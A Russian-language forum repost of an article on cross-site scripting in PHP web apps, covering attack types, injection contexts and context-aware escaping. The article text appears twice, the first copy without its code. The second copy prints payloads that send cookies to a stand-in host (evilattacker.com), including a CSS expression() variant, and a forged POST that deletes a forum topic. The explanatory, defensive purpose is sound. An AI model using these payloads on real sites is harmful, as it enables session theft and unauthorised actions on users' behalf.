Тема не моя, я лишь только разместил её здесь, так как считаю её интерестной.
Ссылка на источник: https://habrahabr.ru/company/mailru/blog/352442/
Вся информация представлена в ознакомительных целях! Не я, не автор не несёт ответственности за ваши действия!
Что такое межсайтовый скриптинг?
XSS-атака происходит, когда злоумышленник получает возможность внедрить скрипт (зачастую JavaScript) в страницу, выдаваемую веб-приложением, и выполнить его в браузере клиента. Обычно это делается с помощью переключения контекста данных HTML в скриптовый контекст, чаще всего — когда внедряется новый код HTML, Javascript или CSS-разметка. В HTML достаточно мест, где можно добавить в страницу исполняемый скрипт, а браузеры предоставляют немало способов сделать это. Любые входные данные веб-приложения, например параметры HTTP-запросов, способны внедрить код.
Одна из проблем, связанных с XSS, — постоянная недооценка со стороны программистов, нетипичная для уязвимостей такого серьёзного уровня. Разработчики зачастую не представляют себе степень угрозы и обычно строят защиту, основанную на неверных взглядах и плохих подходах. Особенно это касается PHP, если код пишут разработчики без достаточных умений и познаний. Кроме того, реальные примеры XSS-атак выглядят простыми и наивными, так что изучающие их программисты считают свою защиту достаточной, пока она их устраивает. Нетрудно понять, откуда взялись 65 % уязвимых сайтов.
Если злоумышленник может внедрять в веб-страницы JavaScript и исполнять его, то он способен выполнить любой JavaScript в браузере пользователя. И это даёт полный контроль. Ведь с точки зрения браузера сценарий был получен из веб-приложения, которое автоматически считается надёжным источником.
Поэтому хочу напомнить: любые данные, которые не были созданы самим PHP для текущего запроса, ненадёжны. Это распространяется и на браузер, работающий отдельно от веб-приложения.
Браузер доверяет всему, что он получает от сервера, и это одна из главных причин межсайтового скриптинга. К счастью, проблема решаема, о чём мы поговорим ниже.
Мы можем применить этот принцип еще шире, к самой среде JavaScript-приложения в браузере. Клиентский JavaScript-код варьируется от очень простого до чрезвычайно сложного, часто это отдельное клиентское веб-приложение. Такие приложения стоит защитить не хуже любых других. Они не должны доверять данным, полученным из удалённых источников (в том числе от приложения на сервере), применяя проверку и убеждаясь, что выводимое в DOM содержимое корректно экранируется или обрабатывается.
Внедрённые скрипты могут быть использованы для самых разных задач. Это:
и т. д., продолжать можно до бесконечности.
Пример межсайтового скриптинга
Давайте представим, что злоумышленник наткнулся на форум, который позволяет пользователям отображать небольшую подпись под своими комментариями. Злоумышленник создаёт учетную запись, спамит во всех темах в пределах досягаемости, применяя следующую подпись к своим сообщениям:
Каким-то чудом движок форума включает эту подпись во все заспамленные топики, и пользователи начинают загружать этот код. Результат очевиден. Злоумышленник внедряет в страницу элемент iframe, который будет отображаться как крошечная точка (нулевого размера) в самом низу страницы, не привлекая никакого внимания. Браузер отправит запрос на содержимое iframe, и в URI злоумышленника будут переданы значения кук каждого участника форума в виде GET-параметра. Их можно сопоставить и использовать для дальнейших атак. В то время как обычные участники злоумышленнику неинтересны, хорошо спланированный троллинг, несомненно, привлечёт внимание модератора или администратора, чьи куки могут оказаться очень полезными для получения административного доступа к форуму.
Это простой пример, но вы можете расширить его. Допустим, злоумышленник захочет узнать имя пользователя, ассоциированного с украденными куками. Легко! Достаточно добавить к URL злоумышленника код DOM-запроса, который вернёт имя и включит его в параметр username= GET-запроса. Или злоумышленнику понадобилась информация о браузере для обхода fingerprint-защиты сессии? Достаточно включить данные с navigator.userAgent.
У этой простой атаки много последствий. Например, можно получить права администратора и контроль над форумом. Поэтому нецелесообразно недооценивать возможности XSS-атаки.
Конечно, в этом примере в подходе злоумышленника есть изъян. Рассмотрим очевидный способ защиты. Все куки с конфиденциальными данными помечены флагом HttpOnly, который запрещает JavaScript доступ к данным этих файлов. В принципе, вы должны помнить, что если злоумышленник внедрит JavaScript, то этот скрипт сможет делать что угодно. Если у злоумышленника не вышло получить доступ к куке и провести атаку с её использованием, то он сделает то, что должны делать все хорошие программисты: напишет код для эффективной автоматизированной атаки.
Выше показан один из способов послать POST-запрос, удаляющий тему на форуме. Можно установить его срабатывание только для модератора (т. е. если имя пользователя где-то отображается, мы можем сравнить его со списком известных модераторов или обнаружить специальные стили, примененные к модератору).
Как следует из вышесказанного, HttpOnly-куки имеют ограниченное применение в защите от XSS. Они блокируют захват кук, но не предотвращают их использование во время XSS-атаки. Кроме того, злоумышленник предпочтёт не оставлять следов в видимой разметке, чтобы не вызывать подозрений, если он сам не хочет быть обнаруженным.
Типы XSS-атак
Атаки с помощью XSS можно классифицировать несколькими путями. Один из них — по способу попадания вредоносных входных данных в веб-приложения. Во входные данные приложения может быть включён результат текущего запроса, сохранённый для включения в последующий выходной запрос. Или данные могут быть переданы в DOM-операции на базе JavaScript. Таким образом, получаются следующие типы атак.
Отражённая XSS-атака
Здесь ненадёжные входные данные, отправленные веб-приложению, включаются сразу в выходные данные приложения, т. е. «отражаются» от сервера к браузеру в одном и том же запросе. Отражение бывает с сообщениями об ошибках, поисковыми материалами, предварительными просмотрами постов и т. д. Эта форма атаки может быть организована, чтобы убедить пользователя перейти по ссылке или отправить данные из формы злоумышленника. Чтобы заставить пользователя нажать на ненадёжные ссылки, иногда требуется социальная инженерия, атака подмены интерфейса или сервис сокращения ссылок. Социальные сети и сами сервисы сокращения ссылок особенно уязвимы для подмены URL-адресов с использованием сокращённых ссылок, поскольку такие ссылки — обычное явление на данных ресурсах. Будьте осторожны и внимательно проверяйте, на что нажимаете!
Сохранённая XSS-атака
Когда зловредная полезная нагрузка где-то хранится и извлекается по мере просмотра данных пользователем, атаку относят к сохранённым. Помимо баз данных, есть множество других мест, включая кеши и логи, которые тоже пригодны для долгосрочного хранения данных. Уже известны случаи атак с внедрением в логи.
XSS-атака на основе DOM
Атака на основе DOM может быть как отражённой, так и сохраненной. Различие в том, на что направлена атака. Чаще всего пытаются сразу же изменять разметку HTML-документа. Однако HTML можно изменять и с помощью JavaScript, используя DOM. Успешно внедрённые в HTML элементы в дальнейшем могут быть использованы в DOM-операциях в JavaScript. Целями атак становятся также уязвимости в JS-библиотеках или их неправильное применение.
Межсайтовый скриптинг и контекст внедрения
XSS-атака успешна, если в ходе неё внедряется контекст. Термин «контекст» описывает то, как браузеры интерпретируют содержимое HTML-документа. Браузеры распознают ряд ключевых контекстов, включая HTML-код, атрибуты HTML, JavaScript, URL, CSS.
Цель злоумышленника — взять данные, предназначенные для одного из этих контекстов, и заставить браузер интерпретировать их в другом контексте. Например:
$colour заполняется из базы данных настроек пользователя, которые влияют на цвет фона для текстового блока. Значение вводится в контексте CSS, дочернем по отношению к контексту HTML-атрибута. То есть мы добавили CSS в атрибут style. Может показаться, что необязательно избегать такой ловушки с контекстом, но посмотрим на следующий пример:
Если атакующий успешно внедрит этот colour, то он может внедрить CSS-выражение, которое выполнит определённый JavaScript в браузере Internet Explorer. Другими словами, злоумышленник сумеет переключить текущий контекст путём введения нового контекста JavaScript.
Посмотрев на предыдущий пример, некоторые читатели вспомнят об экранировании (escaping). Воспользуемся им:
Если вы проверите это в IE, то быстро обнаружите, что происходит что-то очень нехорошее. XSS-атака всё равно успешно работает — даже после экранирования с помощью функции htmlspecialchars(), чтобы избежать $colour!
Вот как важно правильно понимать контекст. Каждый контекст требует другого метода экранирования, потому что у каждого контекста свои специальные символы и разная необходимость в экранировании. Недостаточно повсюду разбрасываться функциями htmlspecialchars() и htmlentities() и молиться, чтобы ваше веб-приложение стало безопасным.
Что пошло не так в предыдущем примере? Что заставило браузер деэкранировать атрибуты HTML перед интерпретацией контекста? Мы проигнорировали тот факт, что необходимо экранировать два контекста.
Сначала CSS должен был экранировать $colour, и только затем — экранировать HTML. Это гарантировало бы, что $colour преобразован в правильный строковый литерал, без скобок, кавычек, пробелов и других символов, которые позволяют внедрить expression(). Не понимая, что наш атрибут охватывает два контекста, мы экранировали его, как если бы это был только один HTML-атрибут. Довольно распространённая ошибка.
Из этой ситуации можно вынести урок: контекст важен. При XSS-атаке злоумышленник всегда будет стараться прыгнуть из текущего контекста в другой, где можно исполнить JavaScript. Если вы способны определить все контексты в выходном потоке HTML с учётом их вложенности, значит, вы на десять шагов ближе к успешной защите веб-приложения от XSS.
Давайте рассмотрим ещё один пример:
Если не принимать во внимание ненадёжные входные данные, то этот код можно проанализировать следующим образом:
1. Существует контекст URL, т. е. значение атрибута href.
2. Есть контекст HTML-атрибута, т. е. родители контекста URL.
3. Есть контекст тела HTML, т. е. текст внутри <a> тега.
Это три разных контекста. Так что понадобится до трёх способов экранирования, если источники данных будут определены как ненадёжные. В следующем разделе мы подробней рассмотрим экранирование в качестве защиты от XSS.
Вот и все!
Ссылка на источник: https://habrahabr.ru/company/mailru/blog/352442/
Вся информация представлена в ознакомительных целях! Не я, не автор не несёт ответственности за ваши действия!
Что такое межсайтовый скриптинг?
XSS-атака происходит, когда злоумышленник получает возможность внедрить скрипт (зачастую JavaScript) в страницу, выдаваемую веб-приложением, и выполнить его в браузере клиента. Обычно это делается с помощью переключения контекста данных HTML в скриптовый контекст, чаще всего — когда внедряется новый код HTML, Javascript или CSS-разметка. В HTML достаточно мест, где можно добавить в страницу исполняемый скрипт, а браузеры предоставляют немало способов сделать это. Любые входные данные веб-приложения, например параметры HTTP-запросов, способны внедрить код.
Одна из проблем, связанных с XSS, — постоянная недооценка со стороны программистов, нетипичная для уязвимостей такого серьёзного уровня. Разработчики зачастую не представляют себе степень угрозы и обычно строят защиту, основанную на неверных взглядах и плохих подходах. Особенно это касается PHP, если код пишут разработчики без достаточных умений и познаний. Кроме того, реальные примеры XSS-атак выглядят простыми и наивными, так что изучающие их программисты считают свою защиту достаточной, пока она их устраивает. Нетрудно понять, откуда взялись 65 % уязвимых сайтов.
Если злоумышленник может внедрять в веб-страницы JavaScript и исполнять его, то он способен выполнить любой JavaScript в браузере пользователя. И это даёт полный контроль. Ведь с точки зрения браузера сценарий был получен из веб-приложения, которое автоматически считается надёжным источником.
Поэтому хочу напомнить: любые данные, которые не были созданы самим PHP для текущего запроса, ненадёжны. Это распространяется и на браузер, работающий отдельно от веб-приложения.
Браузер доверяет всему, что он получает от сервера, и это одна из главных причин межсайтового скриптинга. К счастью, проблема решаема, о чём мы поговорим ниже.
Мы можем применить этот принцип еще шире, к самой среде JavaScript-приложения в браузере. Клиентский JavaScript-код варьируется от очень простого до чрезвычайно сложного, часто это отдельное клиентское веб-приложение. Такие приложения стоит защитить не хуже любых других. Они не должны доверять данным, полученным из удалённых источников (в том числе от приложения на сервере), применяя проверку и убеждаясь, что выводимое в DOM содержимое корректно экранируется или обрабатывается.
Внедрённые скрипты могут быть использованы для самых разных задач. Это:
- кража кук и данных авторизации,
- выполнение HTTP-запросов от имени пользователя,
- перенаправление пользователей на заражённые сайты,
- получение доступа на чтение и изменение локальных хранилищ браузера,
- выполнение сложных расчётов и отправка результатов на сервер злоумышленника,
- применение эксплойтов к браузеру и загрузка зловредов,
- эмулирование активности пользователя для кликджекинга,
- перезапись или получение контроля над приложениями браузера,
- атаки на расширения браузера —
и т. д., продолжать можно до бесконечности.
Пример межсайтового скриптинга
Давайте представим, что злоумышленник наткнулся на форум, который позволяет пользователям отображать небольшую подпись под своими комментариями. Злоумышленник создаёт учетную запись, спамит во всех темах в пределах досягаемости, применяя следующую подпись к своим сообщениям:
HTML:
<script>document.write('<iframe src="http://evilattacker.com?cookie='
+ document.cookie.escape() + '" height=0 width=0 />');</script>
Каким-то чудом движок форума включает эту подпись во все заспамленные топики, и пользователи начинают загружать этот код. Результат очевиден. Злоумышленник внедряет в страницу элемент iframe, который будет отображаться как крошечная точка (нулевого размера) в самом низу страницы, не привлекая никакого внимания. Браузер отправит запрос на содержимое iframe, и в URI злоумышленника будут переданы значения кук каждого участника форума в виде GET-параметра. Их можно сопоставить и использовать для дальнейших атак. В то время как обычные участники злоумышленнику неинтересны, хорошо спланированный троллинг, несомненно, привлечёт внимание модератора или администратора, чьи куки могут оказаться очень полезными для получения административного доступа к форуму.
Это простой пример, но вы можете расширить его. Допустим, злоумышленник захочет узнать имя пользователя, ассоциированного с украденными куками. Легко! Достаточно добавить к URL злоумышленника код DOM-запроса, который вернёт имя и включит его в параметр username= GET-запроса. Или злоумышленнику понадобилась информация о браузере для обхода fingerprint-защиты сессии? Достаточно включить данные с navigator.userAgent.
У этой простой атаки много последствий. Например, можно получить права администратора и контроль над форумом. Поэтому нецелесообразно недооценивать возможности XSS-атаки.
Конечно, в этом примере в подходе злоумышленника есть изъян. Рассмотрим очевидный способ защиты. Все куки с конфиденциальными данными помечены флагом HttpOnly, который запрещает JavaScript доступ к данным этих файлов. В принципе, вы должны помнить, что если злоумышленник внедрит JavaScript, то этот скрипт сможет делать что угодно. Если у злоумышленника не вышло получить доступ к куке и провести атаку с её использованием, то он сделает то, что должны делать все хорошие программисты: напишет код для эффективной автоматизированной атаки.
HTML:
<script>
var params = 'type=topic&action=delete&id=347';
var http = new XMLHttpRequest();
http.open('POST', 'forum.com/admin_control.php', true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
// Do something else.
}
};
http.send(params);
</script>
Выше показан один из способов послать POST-запрос, удаляющий тему на форуме. Можно установить его срабатывание только для модератора (т. е. если имя пользователя где-то отображается, мы можем сравнить его со списком известных модераторов или обнаружить специальные стили, примененные к модератору).
Как следует из вышесказанного, HttpOnly-куки имеют ограниченное применение в защите от XSS. Они блокируют захват кук, но не предотвращают их использование во время XSS-атаки. Кроме того, злоумышленник предпочтёт не оставлять следов в видимой разметке, чтобы не вызывать подозрений, если он сам не хочет быть обнаруженным.
Типы XSS-атак
Атаки с помощью XSS можно классифицировать несколькими путями. Один из них — по способу попадания вредоносных входных данных в веб-приложения. Во входные данные приложения может быть включён результат текущего запроса, сохранённый для включения в последующий выходной запрос. Или данные могут быть переданы в DOM-операции на базе JavaScript. Таким образом, получаются следующие типы атак.
Отражённая XSS-атака
Здесь ненадёжные входные данные, отправленные веб-приложению, включаются сразу в выходные данные приложения, т. е. «отражаются» от сервера к браузеру в одном и том же запросе. Отражение бывает с сообщениями об ошибках, поисковыми материалами, предварительными просмотрами постов и т. д. Эта форма атаки может быть организована, чтобы убедить пользователя перейти по ссылке или отправить данные из формы злоумышленника. Чтобы заставить пользователя нажать на ненадёжные ссылки, иногда требуется социальная инженерия, атака подмены интерфейса или сервис сокращения ссылок. Социальные сети и сами сервисы сокращения ссылок особенно уязвимы для подмены URL-адресов с использованием сокращённых ссылок, поскольку такие ссылки — обычное явление на данных ресурсах. Будьте осторожны и внимательно проверяйте, на что нажимаете!
Сохранённая XSS-атака
Когда зловредная полезная нагрузка где-то хранится и извлекается по мере просмотра данных пользователем, атаку относят к сохранённым. Помимо баз данных, есть множество других мест, включая кеши и логи, которые тоже пригодны для долгосрочного хранения данных. Уже известны случаи атак с внедрением в логи.
XSS-атака на основе DOM
Атака на основе DOM может быть как отражённой, так и сохраненной. Различие в том, на что направлена атака. Чаще всего пытаются сразу же изменять разметку HTML-документа. Однако HTML можно изменять и с помощью JavaScript, используя DOM. Успешно внедрённые в HTML элементы в дальнейшем могут быть использованы в DOM-операциях в JavaScript. Целями атак становятся также уязвимости в JS-библиотеках или их неправильное применение.
Межсайтовый скриптинг и контекст внедрения
XSS-атака успешна, если в ходе неё внедряется контекст. Термин «контекст» описывает то, как браузеры интерпретируют содержимое HTML-документа. Браузеры распознают ряд ключевых контекстов, включая HTML-код, атрибуты HTML, JavaScript, URL, CSS.
Цель злоумышленника — взять данные, предназначенные для одного из этих контекстов, и заставить браузер интерпретировать их в другом контексте. Например:
HTML:
<div style="background:<?php echo $colour ?>;">
$colour заполняется из базы данных настроек пользователя, которые влияют на цвет фона для текстового блока. Значение вводится в контексте CSS, дочернем по отношению к контексту HTML-атрибута. То есть мы добавили CSS в атрибут style. Может показаться, что необязательно избегать такой ловушки с контекстом, но посмотрим на следующий пример:
HTML:
$colour = "expression(document.write('<iframe src="
.= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
.= "' height=0 width=0 />'))";
<div style="background:<?php echo $colour ?>;">
Если атакующий успешно внедрит этот colour, то он может внедрить CSS-выражение, которое выполнит определённый JavaScript в браузере Internet Explorer. Другими словами, злоумышленник сумеет переключить текущий контекст путём введения нового контекста JavaScript.
Посмотрев на предыдущий пример, некоторые читатели вспомнят об экранировании (escaping). Воспользуемся им:
HTML:
$colour = "expression(document.write('<iframe src="
.= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
.= "' height=0 width=0 />'))";
<div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">
Если вы проверите это в IE, то быстро обнаружите, что происходит что-то очень нехорошее. XSS-атака всё равно успешно работает — даже после экранирования с помощью функции htmlspecialchars(), чтобы избежать $colour!
Вот как важно правильно понимать контекст. Каждый контекст требует другого метода экранирования, потому что у каждого контекста свои специальные символы и разная необходимость в экранировании. Недостаточно повсюду разбрасываться функциями htmlspecialchars() и htmlentities() и молиться, чтобы ваше веб-приложение стало безопасным.
Что пошло не так в предыдущем примере? Что заставило браузер деэкранировать атрибуты HTML перед интерпретацией контекста? Мы проигнорировали тот факт, что необходимо экранировать два контекста.
Сначала CSS должен был экранировать $colour, и только затем — экранировать HTML. Это гарантировало бы, что $colour преобразован в правильный строковый литерал, без скобок, кавычек, пробелов и других символов, которые позволяют внедрить expression(). Не понимая, что наш атрибут охватывает два контекста, мы экранировали его, как если бы это был только один HTML-атрибут. Довольно распространённая ошибка.
Из этой ситуации можно вынести урок: контекст важен. При XSS-атаке злоумышленник всегда будет стараться прыгнуть из текущего контекста в другой, где можно исполнить JavaScript. Если вы способны определить все контексты в выходном потоке HTML с учётом их вложенности, значит, вы на десять шагов ближе к успешной защите веб-приложения от XSS.
Давайте рассмотрим ещё один пример:
HTML:
<a href="http://www.example.com">Example.com</a>
Если не принимать во внимание ненадёжные входные данные, то этот код можно проанализировать следующим образом:
1. Существует контекст URL, т. е. значение атрибута href.
2. Есть контекст HTML-атрибута, т. е. родители контекста URL.
3. Есть контекст тела HTML, т. е. текст внутри <a> тега.
Это три разных контекста. Так что понадобится до трёх способов экранирования, если источники данных будут определены как ненадёжные. В следующем разделе мы подробней рассмотрим экранирование в качестве защиты от XSS.
Вот и все!